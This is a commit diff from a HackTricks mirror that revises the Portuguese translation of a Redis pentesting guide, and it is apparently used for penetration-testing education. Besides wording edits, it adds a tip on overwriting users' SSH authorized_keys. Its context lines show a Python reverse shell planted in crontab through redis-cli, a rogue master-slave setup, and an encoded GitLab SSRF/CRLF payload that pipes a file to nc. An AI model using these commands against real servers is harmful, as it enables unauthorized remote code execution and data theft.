mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
parent
3c0cfc900c
commit
6fab18039c
@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
De [documentação](https://redis.io/topics/introduction): Redis é um **armazenamento de estrutura de dados** em memória de código aberto (licença BSD), usado como um **banco de dados**, cache e corretor de mensagens.
|
||||
De [docs](https://redis.io/topics/introduction): Redis é um **armazenamento de estrutura de dados** em memória de código aberto (licença BSD), usado como um **banco de dados**, cache e corretor de mensagens.
|
||||
|
||||
Por padrão, o Redis usa um protocolo baseado em texto simples, mas você deve ter em mente que também pode implementar **ssl/tls**. Aprenda como [executar o Redis com ssl/tls aqui](https://fossies.org/linux/redis/TLS.md).
|
||||
|
||||
@ -26,7 +26,7 @@ msf> use auxiliary/scanner/redis/redis_server
|
||||
|
||||
Redis é um **protocolo baseado em texto**, você pode simplesmente **enviar o comando em um socket** e os valores retornados serão legíveis. Também lembre-se de que o Redis pode ser executado usando **ssl/tls** (mas isso é muito estranho).
|
||||
|
||||
Em uma instância regular do Redis, você pode simplesmente se conectar usando `nc` ou também pode usar `redis-cli`:
|
||||
Em uma instância regular do Redis, você pode se conectar usando `nc` ou também pode usar `redis-cli`:
|
||||
```bash
|
||||
nc -vn 10.10.10.10 6379
|
||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
@ -39,13 +39,13 @@ Neste último caso, isso significa que **você precisa de credenciais válidas**
|
||||
|
||||
### Autenticação do Redis
|
||||
|
||||
**Por padrão**, o Redis pode ser acessado **sem credenciais**. No entanto, ele pode ser **configurado** para suportar **apenas senha, ou nome de usuário + senha**.\
|
||||
**Por padrão**, o Redis pode ser acessado **sem credenciais**. No entanto, ele pode ser **configurado** para suportar **apenas senha ou nome de usuário + senha**.\
|
||||
É possível **definir uma senha** no arquivo _**redis.conf**_ com o parâmetro `requirepass` **ou temporariamente** até que o serviço reinicie conectando-se a ele e executando: `config set requirepass p@ss$12E45`.\
|
||||
Além disso, um **nome de usuário** pode ser configurado no parâmetro `masteruser` dentro do arquivo _**redis.conf**_.
|
||||
|
||||
> [!NOTE]
|
||||
> Se apenas a senha estiver configurada, o nome de usuário usado é "**default**".\
|
||||
> Além disso, observe que **não há como descobrir externamente** se o Redis foi configurado apenas com senha ou nome de usuário+senha.
|
||||
> Além disso, observe que **não há como descobrir externamente** se o Redis foi configurado apenas com senha ou nome de usuário + senha.
|
||||
|
||||
Em casos como este, você **precisará encontrar credenciais válidas** para interagir com o Redis, então você pode tentar [**forçar**](../generic-hacking/brute-force.md#redis) isso.\
|
||||
**Caso você encontre credenciais válidas, precisará autenticar a sessão** após estabelecer a conexão com o comando:
|
||||
@ -79,7 +79,7 @@ Encontre mais informações interessantes sobre mais comandos Redis aqui: [https
|
||||
|
||||
### **Dumping Database**
|
||||
|
||||
Dentro do Redis, os **bancos de dados são números começando de 0**. Você pode verificar se alguém está sendo usado na saída do comando `info` dentro do bloco "Keyspace":
|
||||
Dentro do Redis, **os bancos de dados são números começando de 0**. Você pode verificar se alguém está sendo usado na saída do comando `info` dentro do bloco "Keyspace":
|
||||
|
||||
.png>)
|
||||
|
||||
@ -182,6 +182,8 @@ OK
|
||||
|
||||
**Esta técnica é automatizada aqui:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
Além disso, usuários do sistema também podem ser descobertos verificando com `config set dir /home/USER`, e após a confirmação, um novo `authorized_keys` pode ser escrito em `/home/USER/.ssh/authorized_keys`. Use [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) para forçar isso com uma lista de palavras de nomes de usuários e sobrescrever `authorized_keys`.
|
||||
|
||||
### Crontab
|
||||
```
|
||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||
@ -217,7 +219,7 @@ Este método também pode ser usado para ganhar bitcoin :[yam](https://www.v2e
|
||||
|
||||
### Bypass do sandbox LUA
|
||||
|
||||
[**Aqui**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) você pode ver que o Redis usa o comando **EVAL** para executar **código Lua em sandbox**. No post vinculado, você pode ver **como abusar disso** usando a função **dofile**, mas [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) isso não é mais possível. De qualquer forma, se você puder **burlar o sandbox Lua**, poderá **executar comandos arbitrários** no sistema. Além disso, no mesmo post, você pode ver algumas **opções para causar DoS**.
|
||||
[**Aqui**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) você pode ver que o Redis usa o comando **EVAL** para executar **código Lua em sandbox**. No post vinculado, você pode ver **como abusar disso** usando a função **dofile**, mas [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) isso não é mais possível. De qualquer forma, se você conseguir **burlar o sandbox Lua**, poderá **executar comandos arbitrários** no sistema. Além disso, no mesmo post, você pode ver algumas **opções para causar DoS**.
|
||||
|
||||
Alguns **CVEs para escapar do LUA**:
|
||||
|
||||
@ -225,7 +227,7 @@ Alguns **CVEs para escapar do LUA**:
|
||||
|
||||
### Módulo Master-Slave
|
||||
|
||||
O redis master sincroniza automaticamente todas as operações com o redis slave, o que significa que podemos considerar a vulnerabilidade do redis como um redis slave, conectado ao redis master que controlamos, então podemos inserir o comando no nosso próprio redis.
|
||||
O redis master sincroniza automaticamente todas as operações para o redis slave, o que significa que podemos considerar a vulnerabilidade redis como um redis slave, conectado ao redis master que controlamos, então podemos inserir o comando no nosso próprio redis.
|
||||
```
|
||||
master redis : 10.85.0.51 (Hacker's Server)
|
||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||
@ -239,7 +241,7 @@ set mykey2 helloworld
|
||||
```
|
||||
## SSRF falando com Redis
|
||||
|
||||
Se você puder enviar uma solicitação **em texto claro** **para Redis**, você pode **se comunicar com ele**, pois o Redis lerá linha por linha a solicitação e apenas responderá com erros para as linhas que não entende:
|
||||
Se você puder enviar uma solicitação **em texto claro** **para o Redis**, você pode **se comunicar com ele**, pois o Redis lerá linha por linha a solicitação e apenas responderá com erros para as linhas que não entende:
|
||||
```
|
||||
-ERR wrong number of arguments for 'get' command
|
||||
-ERR unknown command 'Host:'
|
||||
@ -253,7 +255,7 @@ Portanto, se você encontrar uma **vulnerabilidade SSRF** em um site e puder **c
|
||||
|
||||
### Exemplo: Gitlab SSRF + CRLF para Shell
|
||||
|
||||
No **Gitlab11.4.7** foram descobertas uma vulnerabilidade **SSRF** e uma **CRLF**. A vulnerabilidade **SSRF** estava na **funcionalidade de importar projeto de URL** ao criar um novo projeto e permitia acessar IPs arbitrários na forma \[0:0:0:0:0:ffff:127.0.0.1] (isso acessará 127.0.0.1), e a vulnerabilidade **CRLF** foi explorada apenas **adicionando caracteres %0D%0A** à **URL**.
|
||||
No **Gitlab11.4.7** foi descoberta uma vulnerabilidade **SSRF** e uma **CRLF**. A vulnerabilidade **SSRF** estava na **funcionalidade de importar projeto de URL** ao criar um novo projeto e permitia acessar IPs arbitrários na forma \[0:0:0:0:0:ffff:127.0.0.1] (isso acessará 127.0.0.1), e a vulnerabilidade **CRLF** foi explorada apenas **adicionando caracteres %0D%0A** à **URL**.
|
||||
|
||||
Portanto, foi possível **abusar dessas vulnerabilidades para se comunicar com a instância do Redis** que **gerencia filas** do **gitlab** e abusar dessas filas para **obter execução de código**. O payload de abuso da fila do Redis é:
|
||||
```
|
||||
@ -266,6 +268,6 @@ E a solicitação **URL encode** **abusando SSRF** e **CRLF** para executar um `
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
_Por algum motivo (como para o autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de onde essa informação foi retirada) a exploração funcionou com o esquema `git` e não com o esquema `http`._
|
||||
_Por algum motivo (como para o autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de onde essa informação foi retirada) a exploração funcionou com o esquema `git` e não com o esquema `http`._
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user